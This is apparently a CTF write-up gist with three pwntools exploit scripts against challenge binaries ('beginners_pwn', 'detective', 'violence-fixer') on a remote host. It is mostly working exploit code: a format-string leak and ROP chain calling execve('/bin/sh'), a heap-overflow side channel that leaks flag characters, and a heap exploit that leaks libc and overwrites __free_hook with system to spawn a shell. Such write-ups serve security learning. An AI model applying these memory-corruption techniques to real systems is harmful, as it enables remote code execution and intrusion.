# I'm sorry I am using Python2 :( for pwning
from __future__ import division, print_function
import random
# Run: pip install pwntools
from pwn import *
import argparse
import time
# A way to start the program server locally, and debug your exploit on Linux.
# 1. Install socat
# 2. socat TCP-L:3001,reuseaddr,fork EXEC:./beginners_pwn
# 3. python solver.py
# 4. sudo gdb -q -p `pgrep beginners_pwn`
r = remote('35.221.81.216', 30002)
# r = process('./beginners_pwn')
# gdb.attach(r)
elf = ELF('./beginners_pwn')
payload = ''
payload += '%8$lu %1$s'.ljust(0x10, '\0')
payload += p64(elf.got['__stack_chk_fail'])
r.sendline(payload)
canvas = 0x404000 + 0xc00
payload = ''
payload += str(0x401256) + ' '
payload += '/bin/sh'.ljust(0x10, '\0')
payload += 'A' # padding
payload += p64(0x4012ba)
payload += p64(0) # rbx
payload += p64(0x1) # rbp
payload += p64(canvas) # r12 (edi)
payload += p64(0x21) # r13 (rsi)
payload += p64(0) # r14
payload += p64(elf.got['__stack_chk_fail']) # r15
payload += p64(0x4012a0)
payload += p64(canvas) * 7
payload += p64(0x00401146)
# Setting arguments of execve('/bin/sh', NULL, NULL)
payload += p64(0x4012ba)
payload += p64(0) # rbx
payload += p64(0x1) # rbp
payload += p64(canvas) # r12 (edi)
payload += p64(0x0) # r13 (rsi)
payload += p64(0) # r14 (rdx)
payload += p64(elf.got['__stack_chk_fail']) # r15
payload += p64(0x4012a0)
payload += p64(canvas) * 7
payload += p64(0x40118f) # syscall
raw_input('start')
r.sendline(payload) # dummy: send `AAAA' to the server
raw_input('Send syscall number')
payload = ''
payload += '/bin/sh\0'.ljust(0x21, chr(0x3b))
r.sendline(payload)
r.interactive() # After you get shell, you can intereact with the server!
-
-
Save kriw/886b49f18be61c3743dc90df3ceb2cb3 to your computer and use it in GitHub Desktop.
Heap challenge, the program exits 5 seconds after starts.
We can write nth character of flag into heap, but there is no way to dump heap content.
Flag consists of TSG{}
and hexadecimal characters.
read flag causes heap overflow
It seems difficalt to pwn shell, I decided to identify flag character one by one.
I used binary search to identify by causing abort on free.
I wrote nth flag character into second least significant bytes to make huge chunk, and allocate (probably) enough chunk , then free the huge chunk.
If I did not allocate enough, the program exist with abort. If I allocated enough the program goes on.
The program will exits with timeout if you send commands (allocate) syncronously by sendlineafter
, recvuntil
.
I sent payload which allocate many times at once.
from pwn import *
import sys
p = remote('35.221.81.216', 30001)
# p = process('./detective', aslr=False, env={'LD_PRELOAD': './libc.so.6'})
# gdb.attach(p, gdb_args=['-x', 'gdb.init'])
elf = ELF('./detective')
prompt = '> '
index = int(sys.argv[1])
target = sys.argv[2]
target_size = ord(target)
p.sendlineafter(prompt, str(index))
def alloc(index, size, data):
p.sendlineafter(prompt, '0')
p.sendlineafter(prompt, str(index))
p.sendlineafter(prompt, str(size))
p.sendafter(prompt, data)
def dealloc(index):
p.sendlineafter(prompt, '1')
p.sendlineafter(prompt, str(index))
def read_flag(index, pos):
p.sendlineafter(prompt, '2')
p.sendlineafter(prompt, str(index))
p.sendlineafter(prompt, str(pos))
alloc(0, 0x48, 'A' * 0x48)
alloc(1, 0x28, 'B' * 0x28)
read_flag(0, 0x49)
dealloc(0)
payload = ''
for i in range(target_size - 1):
payload += '0\n'
payload += '0\n'
payload += str(0xf8) + '\n'
payload += 'A\n'
p.sendafter(prompt, payload)
dealloc(1)
p.interactive()
Pseudo custom allocator challenge
Following procedure will allocate duplicate chunks. This is caused because allocate
return top
pointer and move it, free
only moves top
by chunk size.
p1 = alloc
p2 = alloc
free(p1)
p3 = alloc
assert p2 == p3
libc address can be leaked by freeing large chunk, but the argument of allocate can not be big enough.
Following scripts will do that, and write system
address into __free_hook
from pwn import *
p = remote('35.221.81.216', 32112)
# p = process('./violence-fixer', aslr=False, env={'LD_PRELOAD': './libc.so.6'})
# gdb.attach(p)
elf = ELF('./violence-fixer')
libc = ELF('./libc.so.6')
p.sendlineafter('Are you beginner?: ', 'y')
prompt = '> '
def alloc(size, content):
p.sendlineafter(prompt, '1')
p.sendlineafter('size: ', str(size))
p.sendafter('content: ', content)
def delegate(size, content):
p.sendlineafter(prompt, '0')
p.sendlineafter('Your really want to delegate malloc rihgt to arena???>', 'y')
p.sendlineafter('size: ', str(size))
p.sendafter('content: ', content)
def free(index):
p.sendlineafter(prompt, '3')
p.sendlineafter('index: ', str(index))
def show(index):
p.sendlineafter(prompt, '2')
p.sendlineafter('index: ', str(index))
return p.recvuntil('\n')[:-1]
alloc(0x28, 'A' * 0x28)
alloc(0x28, 'B' * 0x28)
alloc(0x28, 'C' * 0x28)
free(1)
free(2)
payload = ''
payload += 'D' * 0x30
alloc(0x58, payload)
leaked = show(1)
heap_addr = u64(leaked.lstrip(payload).ljust(8, '\0'))
heap_base = (heap_addr >> 12) << 12
info('heap_addr: %s' % hex(heap_addr))
info('heap_base: %s' % hex(heap_base))
alloc(0x28, 'E' * 0x28)
alloc(0x28, 'F' * 0x28)
alloc(0x28, 'F' * 0x28)
alloc(0x28, 'F' * 0x28)
free(3)
free(4)
alloc(0xf8, 'G' * 0x28 + p64(0x5d1 + 0x10))
for i in range(0x5):
alloc(0xf8, 'F' * 0xf8)
payload = ''
payload += p64(0) + p64(0x151)
alloc(0xf8, payload)
free(5)
free(3)
free(4)
free(5)
free(6)
free(7)
free(8)
free(9)
free(1)
free(2)
free(0)
# free(10)
payload = ''
payload += 'A' * 0x20
alloc(0x58, payload)
leaked = show(0)
libc_addr = u64(leaked.lstrip(payload).ljust(8, '\0'))
libc_base = libc_addr - 0x1ebbe0
info('libc_base: %s' % hex(libc_base))
alloc(0x28, 'A' * 0x28)
alloc(0x28, 'A' * 0x28)
free(1)
free(2)
free_hook = libc.symbols['__free_hook'] + libc_base
alloc(0x28, p64(free_hook) + p64(free_hook))
alloc(0x28, '/bin/sh'.ljust(0x28, '\0'))
payload = ''
payload += p64(libc_base + libc.symbols['system'])
delegate(0x28, payload)
free(2)
p.interactive()